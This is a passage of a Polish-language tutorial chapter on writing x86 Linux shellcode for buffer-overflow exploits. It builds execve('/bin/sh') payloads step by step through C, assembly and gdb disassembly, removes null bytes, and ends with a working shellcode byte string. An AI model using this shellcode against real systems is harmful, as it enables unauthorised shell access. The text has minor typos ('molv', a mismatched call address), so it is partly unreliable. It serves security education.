Poprzedni :: Spis treści :: Następny


6. Generowanie szkodnika
6.1 Wywołanie powłoki
6.2 Obsługa sytuacji awaryjnych


6. Generowanie szkodnika

W poprzednim rozdziale widać było w jaki sposób można wykorzystać błąd i nadpisać adres powrotu. Nadal jednak pozostaje zagadką jakie znaki należałoby umieścić w buforze aby zmusić do udostępnienia nam powłoki.

6.1 Wywołanie powłoki

Zacznijmy od zapisania w C programu, który powoduje wywołanie powłoki systemowej:

przyklad5.c

#include <stdio.h>
int main ()
{
	char *nazwa[2];
	nazwa[0] = "/bin/sh";
	nazwa[1] = NULL;
        execvp(nazwa[0], nazwa, NULL);
}

To co jest najistotniejsze w tym programie to wykonanie instrukcji execvp. Przyjrzyjmy się więc co się w niej dzieje.

0x0804e200 <execve+0>:  push   %ebp
0x0804e201 <execve+1>:  mov    $0x0,%eax
0x0804e206 <execve+6>:  test   %eax,%eax
0x0804e208 <execve+8>:  mov    %esp,%ebp
Inicjacja
0x0804e20a <execve+10>: push   %ebx
zapamiętanie poprzedniej wartosci ebx
0x0804e20b <execve+11>: mov    0x8(%ebp),%ebx
adres "/bin/sh" na ebx
0x0804e20e <execve+14>: je     0x804e215 <execve+21>
0x0804e210 <execve+16>: call   0x0
asercja
0x0804e215 <execve+21>: mov    0xc(%ebp),%ecx
0x0804e218 <execve+24>: mov    0x10(%ebp),%edx
adres "nazwa" na ecx, NULL na edx
0x0804e21b <execve+27>: mov    $0xb,%eax
11 na eax (numer execvp z /usr/include/asm/unistd.h)
0x0804e220 <execve+32>: int    $0x80
Wywołanie funkcji systemowej o numerze zapisanym w eax (11).
0x0804e222 <execve+34>: cmp    $0xfffff000,%eax
0x0804e227 <execve+39>: mov    %eax,%ebx
0x0804e229 <execve+41>: ja     0x804e230 <execve+48>
0x0804e22b <execve+43>: mov    %ebx,%eax
0x0804e22d <execve+45>: pop    %ebx
0x0804e22e <execve+46>: leave  
0x0804e22f <execve+47>: ret    
0x0804e230 <execve+48>: neg    %ebx
0x0804e232 <execve+50>: call   0x8048940 <__errno_location>
0x0804e237 <execve+55>: mov    %ebx,(%eax)
0x0804e239 <execve+57>: mov    $0xffffffff,%ebx
0x0804e23e <execve+62>: mov    %ebx,%eax
0x0804e240 <execve+64>: pop    %ebx
0x0804e241 <execve+65>: leave  
0x0804e242 <execve+66>: ret    
Nie istotne z naszego punktu widzenia

A więc aby wykonać funkcję execve należy:

6.2 Obsługa sytuacji awaryjnych

Wiemy już jak nakazać wykonanie "/bin/sh", ale co się stanie, jeżeli execve nie wykona się prawidłowo? Program zacznie wykonywać instrukcje na podstawie wartości znajdujących się na stosie, który może zawierać bardzo różne dane. W związku z tym należy zadbać aby, w przypadku powrotu z funkcji execvp, program prawidłowo zakończył swoje działanie. Aby zobaczyć jakich instrukcji potrzebujemy, prześledźmy poniższy program:

przyklad6.c

#include <stdio.h>
int main()
{
	exit(0);
}

Zobaczmy jak zachowuje się funkcja exit:

0x0804e1cc <_exit+0>:   mov    0x4(%esp),%ebx
zapisanie wartości 0x4(%esp) - wartość będącą na wierzchołku stosu (wartość jaką exit ma zwrócić).
0x0804e1d0 <_exit+4>:   mov    $0xfc,%eax
0x0804e1d5 <_exit+9>:   int    $0x80
0xfc jest numerem funkcji powodującej wyjście z grupy procesów
0x0804e1d7 <_exit+11>:  mov    $0x1,%eax
0x0804e1dc <_exit+16>:  int    $0x80
1 - numer funkcji systemowej exit.
0x0804e1de <_exit+18>:  hlt    
0x0804e1df <_exit+19>:  nop    
zakończenie programu

Złóżmy to wszystko razem i zobaczmy co musimy teraz wykonać:

Skoro wiadomo już co należy zrobić, zapiszmy to:

        movl   string_addr,string_addr_addr
	movb   $0x0,null_byte_addr
        movl   $0x0,null_addr
        movl   $0xb,%eax
        movl   string_addr,%ebx
        leal   string_addr,%ecx
        leal   null_string,%edx
        int    $0x80
        movl   $0x1, %eax
        movl   $0x0, %ebx
	int    $0x80
        /bin/sh string idzie tutaj.

Pojawia się niestety problem. Polega on na tym, że instrukcje mov, lea operują na adresach bezwzględnych a więc musielibyśmy znać dokładny adres łańcucha "/bin/sh". Jedną z metod na obejście tego problemu jest wykorzystanie instrukcji skoku oraz wywołania (JMP i CALL), które operują na adresach względnych. Aby uzyskać adres naszego kodu dodajemy przed łańcuchem /bin/sh instrukcję CALL a na początku kodu instrukcję JMP do tej instrukcji CALL.

        jmp    offset-to-call           
        popl   %esi                     
        movl   %esi,array-offset(%esi)  
        movb   $0x0,nullbyteoffset(%esi)
        movl   $0x0,null-offset(%esi)   
        movl   $0xb,%eax                
        movl   %esi,%ebx                
        leal   array-offset,(%esi),%ecx 
        leal   null-offset(%esi),%edx   
        int    $0x80                    
        movl   $0x1, %eax		
        movl   $0x0, %ebx		
	int    $0x80			
        call   offset-to-popl          
        /bin/sh string idzie tutaj.

Należy tylko wyliczyć offset o jaki należy skoczyć instrukcją jmp oraz offset o jaki należy wrócić instrukcją call. Aby to zrobić, skompilujmy następujący program:

przyklad7.c

int main()
{
__asm__("\n\t"
        "jmp    0x0                     \n\t"
        "popl   %esi                     \n\t"
        "movl   %esi,0x8(%esi)           \n\t"
        "movb   $0x0,0x7(%esi)           \n\t"
        "movl   $0x0,0xc(%esi)           \n\t"
        "movl   $0xb,%eax                \n\t"
        "movl   %esi,%ebx                \n\t"
        "leal   0x8(%esi),%ecx           \n\t"
        "leal   0xc(%esi),%edx           \n\t"
        "int    $0x80                    \n\t"
        "movl   $0x1, %eax               \n\t"
        "movl   $0x0, %ebx               \n\t"
        "int    $0x80                    \n\t"
        "call   -0x0                    \n\t"
        ".string \"/bin/sh\"             \n"
);
}

Przyjrzyjmy się, jak wygląda kod powyższego programu:

(gdb) disassemble main 
Dump of assembler code for function main:
0x08048364 <main+0>:    push   %ebp
0x08048365 <main+1>:    mov    %esp,%ebp
0x08048367 <main+3>:    sub    $0x8,%esp
0x0804836a <main+6>:    and    $0xfffffff0,%esp
0x0804836d <main+9>:    mov    $0x0,%eax
0x08048372 <main+14>:   add    $0xf,%eax
0x08048375 <main+17>:   add    $0xf,%eax
0x08048378 <main+20>:   shr    $0x4,%eax
0x0804837b <main+23>:   shl    $0x4,%eax
0x0804837e <main+26>:   sub    %eax,%esp
0x08048380 <main+28>:   jmp    0x8048381 <main+29>
0x08048385 <main+33>:   pop    %esi
0x08048386 <main+34>:   mov    %esi,0x8(%esi)
0x08048389 <main+37>:   movb   $0x0,0x7(%esi)
0x0804838d <main+41>:   movl   $0x0,0xc(%esi)
0x08048394 <main+48>:   mov    $0xb,%eax
0x08048399 <main+53>:   mov    %esi,%ebx
0x0804839b <main+55>:   lea    0x8(%esi),%ecx
0x0804839e <main+58>:   lea    0xc(%esi),%edx
0x080483a1 <main+61>:   int    $0x80
0x080483a3 <main+63>:   mov    $0x1,%eax
0x080483a8 <main+68>:   mov    $0x0,%ebx
0x080483ad <main+73>:   int    $0x80
0x080483af <main+75>:   call   0x80483b0 <main+76>
0x080483b4 <main+80>:   das    
0x080483b5 <main+81>:   bound  %ebp,0x6e(%ecx)
0x080483b8 <main+84>:   das    
0x080483b9 <main+85>:   jae    0x8048423 <__libc_csu_fini+19>
0x080483bb <main+87>:   add    %cl,%cl
0x080483bd <main+89>:   ret    
0x080483be <main+90>:   nop    
0x080483bf <main+91>:   nop    
End of assembler dump.
(gdb) 

Aby wyliczyć offset jaki należy wpisać w instrukcji jmp należy wykonać proste działanie

(main+75) - (main+29) = 46	= 0x2e	

- main+29 ponieważ bajt main+28 jest zajęty przez kod instrukcji jmp
Analogicznie dla instrukcji CALL:

(main + 33)  - (main + 76) = -43 = -0x2b

Ostatecznie, nasz szkodnik wygląda następująco:

przyklad8.c


int main()
{
__asm__("\n\t"
        "jmp    0x2e \n\t"
        "popl   %esi \n\t"
        "movl   %esi,0x8(%esi) \n\t"
        "movb   $0x0,0x7(%esi) \n\t"
        "movl   $0x0,0xc(%esi) \n\t"
        "movl   $0xb,%eax \n\t" 
        "movl   %esi,%ebx \n\t" 
        "leal   0x8(%esi),%ecx \n\t" 
        "leal   0xc(%esi),%edx \n\t"
        "int    $0x80 \n\t"
        "movl   $0x1, %eax \n\t" 
        "movl   $0x0, %ebx \n\t" 
        "int    $0x80 \n\t" 
        "call   -0x2b \n\t" 
        ".string \"/bin/sh\""
);
}

Po kompilacji i próbie uruchomienia powinniśmy dostać... błąd Segmentation Fault. Wynika to z tego, że próbujemy modyfikować własny kod, który leży w fragmencie pamięci tylko do odczytu. Mimo tego program ten przyda nam się aby uzyskać szesnastkową reprezentację tego kodu (aby można ją było zapisać w łańcuchu). W tym celu wykorzystamy gdb:

(gdb) disassemble main
Dump of assembler code for function main:
0x08048364 <main+0>:    push   %ebp
0x08048365 <main+1>:    mov    %esp,%ebp
0x08048367 <main+3>:    sub    $0x8,%esp
0x0804836a <main+6>:    and    $0xfffffff0,%esp
0x0804836d <main+9>:    mov    $0x0,%eax
0x08048372 <main+14>:   add    $0xf,%eax
0x08048375 <main+17>:   add    $0xf,%eax
0x08048378 <main+20>:   shr    $0x4,%eax
0x0804837b <main+23>:   shl    $0x4,%eax
0x0804837e <main+26>:   sub    %eax,%esp
0x08048380 <main+28>:   jmp    0x80483ab <main+71>
0x08048385 <main+33>:   pop    %esi
0x08048386 <main+34>:   mov    %esi,0x8(%esi)
0x08048389 <main+37>:   movb   $0x0,0x7(%esi)
0x0804838d <main+41>:   movl   $0x0,0xc(%esi)
0x08048394 <main+48>:   mov    $0xb,%eax
0x08048399 <main+53>:   mov    %esi,%ebx
0x0804839b <main+55>:   lea    0x8(%esi),%ecx
0x0804839e <main+58>:   lea    0xc(%esi),%edx
0x080483a1 <main+61>:   int    $0x80
0x080483a3 <main+63>:   mov    $0x1,%eax
0x080483a8 <main+68>:   mov    $0x0,%ebx
0x080483ad <main+73>:   int    $0x80
0x080483af <main+75>:   call   0x8048381 <main+29>
0x080483b4 <main+80>:   das    
0x080483b5 <main+81>:   bound  %ebp,0x6e(%ecx)
0x080483b8 <main+84>:   das    
0x080483b9 <main+85>:   jae    0x8048423 <__libc_csu_fini+19>
0x080483bb <main+87>:   add    %cl,%cl
0x080483bd <main+89>:   ret    
0x080483be <main+90>:   nop    
0x080483bf <main+91>:   nop    
End of assembler dump.
(gdb) x/bx main+28
0x8048380 <main+28>:    0xe9
(gdb) x/bx main+29
0x8048381 <main+29>:    0x2a

Rozbierając tak wszystkie instrukcje od main+28 do main+69 otrzymamy pełen kod. Spójrzmy teraz na następujący program:

przyklad9.c

char shellcode[]=
"\xe9\x2a\x00\x00\x00\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46"
"\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00"
"\xcd\x80\xe8\xd1\xff\xff\xff/bin/sh";

void main()
{
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int)shellcode;
}

Po skompilowaniu i uruchomieniu programu powinniśmy dostać nową powłokę a to oznacza sukces! Udało się. Program nie protestuje podczas modyfikowania kodu ponieważ znajduje się on w segmencie danych zainicjowanych.
Przygotowany przez nas shellcode ma niestety dużą wadę. Koniec łańcucha w C jest rozpoznawany przez znak \0. Nasz shellcode zawiera ich dość dużo ale na szczęście można je wyeliminować.

Instrukcja problematyczna

Zamiennik

movb   $0x0,0x7(%esi)                
molv   $0x0,0xc(%esi)                
xorl   %eax,%eax
movb   %eax,0x7(%esi)
movl   %eax,0xc(%esi)
movl   $0xb,%eax
movb   $0xb,%al
movl   $0x1, %eax                    
movl   $0x0, %ebx   
xorl   %ebx,%ebx
movl   %ebx,%eax
inc    %eax

Po dokonaniu powyższych zmian mamy następujący kod w assemblerze (trzeba pamiętać o uaktualnieniu wartości offsetu dla JMP i CALL):

0x08048364 <main+0>:    push   %ebp
0x08048365 <main+1>:    mov    %esp,%ebp
0x08048367 <main+3>:    sub    $0x8,%esp
0x0804836a <main+6>:    and    $0xfffffff0,%esp
0x0804836d <main+9>:    mov    $0x0,%eax
0x08048372 <main+14>:   add    $0xf,%eax
0x08048375 <main+17>:   add    $0xf,%eax
0x08048378 <main+20>:   shr    $0x4,%eax
0x0804837b <main+23>:   shl    $0x4,%eax
0x0804837e <main+26>:   sub    %eax,%esp
0x08048380 <main+28>:   jmp    0x80483a4 <main+64>
0x08048385 <main+33>:   pop    %esi
0x08048386 <main+34>:   mov    %esi,0x8(%esi)
0x08048389 <main+37>:   xor    %eax,%eax
0x0804838b <main+39>:   mov    %al,0x7(%esi)
0x0804838e <main+42>:   mov    %eax,0xc(%esi)
0x08048391 <main+45>:   mov    $0xb,%al
0x08048393 <main+47>:   mov    %esi,%ebx
0x08048395 <main+49>:   lea    0x8(%esi),%ecx
0x08048398 <main+52>:   lea    0xc(%esi),%edx
0x0804839b <main+55>:   int    $0x80
0x0804839d <main+57>:   xor    %ebx,%ebx
0x0804839f <main+59>:   mov    %ebx,%eax
0x080483a1 <main+61>:   inc    %eax
0x080483a2 <main+62>:   int    $0x80
0x080483a4 <main+64>:   call   0x8048335 <main+33>
0x080483a9 <main+69>:   das    
0x080483aa <main+70>:   bound  %ebp,0x6e(%ecx)
0x080483ad <main+73>:   das    
0x080483ae <main+74>:   jae    0x8048418 <__libc_csu_fini+8>
0x080483b0 <main+76>:   add    %cl,%cl
0x080483b2 <main+78>:   ret    

Z tego kodu otrzymujemy następujący shellcode:

char shellcode[]=
"\xe9\x1f\x00\x00\x00\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Większość znaków \0 zostało usuniętych. Pozostały 3 które trzeba zmodyfikować ręcznie. Problem polega na tym, że instrukcja JMP operuje na argumentach typu długości słowa. Istnieje jej odpowiednik operujący na argumentach długości jednego bajtu. Musimy zmienić numer tej instrukcji (jest to pierwsza instrukcja) z \xe9 na \xeb, wykasować wszystkie \x00 oraz uaktualnić offset instrukcji JMP (drugi znak łańcucha, należy odjąć 3 ponieważ tyle znaków \00 usunęliśmy). Odpowiednio zmodyfikowany shellcode wygląda następująco:

char shellcode[]=
"\xeb\x1c\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Poprzedni :: Spis treści :: Następny


Valid XHTML 1.0 Strict